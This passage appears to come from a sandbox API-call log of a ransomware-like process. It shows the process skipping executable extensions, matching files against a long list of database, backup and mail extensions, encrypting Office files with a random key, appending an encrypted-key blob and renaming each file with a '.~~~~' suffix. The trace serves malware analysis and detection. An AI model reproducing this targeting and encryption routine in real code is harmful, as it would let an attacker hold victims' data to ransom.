	[0137.070] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0137.070] CloseHandle (hObject=0xc4) returned 1
	[0137.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce230
	[0137.071] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs.~~~~")) returned 1
	[0137.073] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce230 | out: hHeap=0x300000) returned 1
	[0137.073] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0137.073] GetLastError () returned 0x0
	[0137.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".scr") returned 0x0
	[0137.074] lstrlenW (lpString=".cmd") returned 4
	[0137.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".cmd") returned 0x0
	[0137.074] lstrlenW (lpString=".dll") returned 4
	[0137.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".dll") returned 0x0
	[0137.074] lstrlenW (lpString=".bat") returned 4
	[0137.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".bat") returned 0x0
	[0137.074] lstrlenW (lpString=".cpl") returned 4
	[0137.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".cpl") returned 0x0
	[0137.074] lstrlenW (lpString=".sys") returned 4
	[0137.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".sys") returned 0x0
	[0137.074] lstrlenW (lpString=".msc") returned 4
	[0137.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".msc") returned 0x0
	[0137.074] lstrlenW (lpString=".com") returned 4
	[0137.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".com") returned 0x0
	[0137.074] lstrlenW (lpString=".lnk") returned 4
	[0137.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".lnk") returned 0x0
	[0137.074] lstrlenW (lpString=".msp") returned 4
	[0137.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".msp") returned 0x0
	[0137.074] lstrlenW (lpString=".pif") returned 4
	[0137.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".pif") returned 0x0
	[0137.074] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0137.074] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0137.074] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0137.076] lstrlenW (lpString=".sqb") returned 4
	[0137.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".sqb") returned 0x0
	[0137.076] lstrlenW (lpString=".ost") returned 4
	[0137.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".ost") returned 0x0
	[0137.076] lstrlenW (lpString=".txt") returned 4
	[0137.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".txt") returned 0x0
	[0137.077] lstrlenW (lpString=".mdt") returned 4
	[0137.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".mdt") returned 0x0
	[0137.077] lstrlenW (lpString=".BDB") returned 4
	[0137.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".BDB") returned 0x0
	[0137.077] lstrlenW (lpString=".eql") returned 4
	[0137.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".eql") returned 0x0
	[0137.077] lstrlenW (lpString=".DBF") returned 4
	[0137.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".DBF") returned 0x0
	[0137.077] lstrlenW (lpString=".EQL") returned 4
	[0137.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".EQL") returned 0x0
	[0137.077] lstrlenW (lpString=".FDB") returned 4
	[0137.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".FDB") returned 0x0
	[0137.077] lstrlenW (lpString=".EDB") returned 4
	[0137.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".EDB") returned 0x0
	[0137.077] lstrlenW (lpString=".DACPAC") returned 7
	[0137.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".DACPAC") returned 0x0
	[0137.077] lstrlenW (lpString=".VHD") returned 4
	[0137.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".VHD") returned 0x0
	[0137.077] lstrlenW (lpString=".DBV") returned 4
	[0137.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".DBV") returned 0x0
	[0137.077] lstrlenW (lpString=".dacpac") returned 7
	[0137.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".dacpac") returned 0x0
	[0137.077] lstrlenW (lpString=".sdf") returned 4
	[0137.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".sdf") returned 0x0
	[0137.077] lstrlenW (lpString=".accdb") returned 6
	[0137.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".accdb") returned 0x0
	[0137.077] lstrlenW (lpString=".DBX") returned 4
	[0137.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".DBX") returned 0x0
	[0137.078] lstrlenW (lpString=".MDT") returned 4
	[0137.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".MDT") returned 0x0
	[0137.078] lstrlenW (lpString=".SQB") returned 4
	[0137.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".SQB") returned 0x0
	[0137.078] lstrlenW (lpString=".vhd") returned 4
	[0137.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".vhd") returned 0x0
	[0137.078] lstrlenW (lpString=".bac") returned 4
	[0137.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".bac") returned 0x0
	[0137.078] lstrlenW (lpString=".mdf") returned 4
	[0137.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".mdf") returned 0x0
	[0137.078] lstrlenW (lpString=".BAK") returned 4
	[0137.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".BAK") returned 0x0
	[0137.078] lstrlenW (lpString=".BAC") returned 4
	[0137.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".BAC") returned 0x0
	[0137.078] lstrlenW (lpString=".dbs") returned 4
	[0137.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".dbs") returned 0x0
	[0137.078] lstrlenW (lpString=".vhdx") returned 5
	[0137.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".vhdx") returned 0x0
	[0137.078] lstrlenW (lpString=".NDF") returned 4
	[0137.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".NDF") returned 0x0
	[0137.078] lstrlenW (lpString=".dat") returned 4
	[0137.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".dat") returned 0x0
	[0137.078] lstrlenW (lpString=".DBS") returned 4
	[0137.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".DBS") returned 0x0
	[0137.078] lstrlenW (lpString=".CKP") returned 4
	[0137.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".CKP") returned 0x0
	[0137.078] lstrlenW (lpString=".edb") returned 4
	[0137.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".edb") returned 0x0
	[0137.078] lstrlenW (lpString=".PST") returned 4
	[0137.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".PST") returned 0x0
	[0137.079] lstrlenW (lpString=".dbf") returned 4
	[0137.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".dbf") returned 0x0
	[0137.079] lstrlenW (lpString=".SQL") returned 4
	[0137.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".SQL") returned 0x0
	[0137.079] lstrlenW (lpString=".pst") returned 4
	[0137.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".pst") returned 0x0
	[0137.079] lstrlenW (lpString=".dbv") returned 4
	[0137.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".dbv") returned 0x0
	[0137.079] lstrlenW (lpString=".SDF") returned 4
	[0137.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".SDF") returned 0x0
	[0137.079] lstrlenW (lpString=".dtxs") returned 5
	[0137.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".dtxs") returned 0x0
	[0137.079] lstrlenW (lpString=".db3") returned 4
	[0137.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".db3") returned 0x0
	[0137.079] lstrlenW (lpString=".OST") returned 4
	[0137.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".OST") returned 0x0
	[0137.079] lstrlenW (lpString=".dbx") returned 4
	[0137.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".dbx") returned 0x0
	[0137.079] lstrlenW (lpString=".DB3") returned 4
	[0137.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".DB3") returned 0x0
	[0137.079] lstrlenW (lpString=".DAT") returned 4
	[0137.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".DAT") returned 0x0
	[0137.079] lstrlenW (lpString=".VHDX") returned 5
	[0137.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".VHDX") returned 0x0
	[0137.079] lstrlenW (lpString=".ndf") returned 4
	[0137.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".ndf") returned 0x0
	[0137.079] lstrlenW (lpString=".DB") returned 3
	[0137.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".DB") returned 0x0
	[0137.079] lstrlenW (lpString=".sql") returned 4
	[0137.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".sql") returned 0x0
	[0137.079] lstrlenW (lpString=".MYD") returned 4
	[0137.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".MYD") returned 0x0
	[0137.080] lstrlenW (lpString=".DBT") returned 4
	[0137.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".DBT") returned 0x0
	[0137.080] lstrlenW (lpString=".ACCDB") returned 6
	[0137.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".ACCDB") returned 0x0
	[0137.080] lstrlenW (lpString=".fdb") returned 4
	[0137.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".fdb") returned 0x0
	[0137.080] lstrlenW (lpString=".bak") returned 4
	[0137.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".bak") returned 0x0
	[0137.080] lstrlenW (lpString=".myd") returned 4
	[0137.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".myd") returned 0x0
	[0137.080] lstrlenW (lpString=".DTXS") returned 5
	[0137.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".DTXS") returned 0x0
	[0137.080] lstrlenW (lpString=".ckp") returned 4
	[0137.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".ckp") returned 0x0
	[0137.080] lstrlenW (lpString=".dbt") returned 4
	[0137.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".dbt") returned 0x0
	[0137.080] lstrlenW (lpString=".db") returned 3
	[0137.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".db") returned 0x0
	[0137.080] lstrlenW (lpString=".TXT") returned 4
	[0137.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".TXT") returned 0x0
	[0137.080] lstrlenW (lpString=".MDF") returned 4
	[0137.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".MDF") returned 0x0
	[0137.080] lstrlenW (lpString=".bdb") returned 4
	[0137.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".bdb") returned 0x0
	[0137.080] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0137.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0137.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0137.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0137.081] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0137.081] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0137.082] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0137.082] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0137.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0137.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0137.082] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25707192184) returned 1
	[0137.082] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbb25b290, dwHighDateTime=0x1d60e1e)) 
	[0137.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0137.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0137.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0137.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825518
	[0137.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0137.082] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825518 | out: hHeap=0x300000) returned 1
	[0137.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0137.082] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0137.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce230
	[0137.082] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0137.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c51b0
	[0137.082] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce230 | out: hHeap=0x300000) returned 1
	[0137.082] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0137.083] GetLastError () returned 0x0
	[0137.083] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0137.083] GetLastError () returned 0x0
	[0137.085] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff6a80, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.085] WriteFile (in: hFile=0xc4, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x9580, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x9580, lpOverlapped=0x0) returned 1
	[0137.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0137.086] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.086] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0137.086] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0137.086] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0137.086] CloseHandle (hObject=0xc4) returned 1
	[0137.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce230
	[0137.086] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll.~~~~")) returned 1
	[0137.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce230 | out: hHeap=0x300000) returned 1
	[0137.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0137.089] GetLastError () returned 0x0
	[0137.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".scr") returned 0x0
	[0137.089] lstrlenW (lpString=".cmd") returned 4
	[0137.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".cmd") returned 0x0
	[0137.089] lstrlenW (lpString=".dll") returned 4
	[0137.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".dll") returned 0x0
	[0137.089] lstrlenW (lpString=".bat") returned 4
	[0137.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".bat") returned 0x0
	[0137.089] lstrlenW (lpString=".cpl") returned 4
	[0137.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".cpl") returned 0x0
	[0137.089] lstrlenW (lpString=".sys") returned 4
	[0137.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".sys") returned 0x0
	[0137.089] lstrlenW (lpString=".msc") returned 4
	[0137.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".msc") returned 0x0
	[0137.090] lstrlenW (lpString=".com") returned 4
	[0137.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".com") returned 0x0
	[0137.090] lstrlenW (lpString=".lnk") returned 4
	[0137.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".lnk") returned 0x0
	[0137.090] lstrlenW (lpString=".msp") returned 4
	[0137.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".msp") returned 0x0
	[0137.090] lstrlenW (lpString=".pif") returned 4
	[0137.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".pif") returned 0x0
	[0137.090] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0137.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0137.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0137.092] lstrlenW (lpString=".sqb") returned 4
	[0137.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".sqb") returned 0x0
	[0137.092] lstrlenW (lpString=".ost") returned 4
	[0137.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".ost") returned 0x0
	[0137.092] lstrlenW (lpString=".txt") returned 4
	[0137.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".txt") returned 0x0
	[0137.092] lstrlenW (lpString=".mdt") returned 4
	[0137.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".mdt") returned 0x0
	[0137.092] lstrlenW (lpString=".BDB") returned 4
	[0137.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".BDB") returned 0x0
	[0137.092] lstrlenW (lpString=".eql") returned 4
	[0137.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL", lpSrch=".eql") returned 0x0
	[0137.092] lstrlenW (lpString=".DBF") returned 4
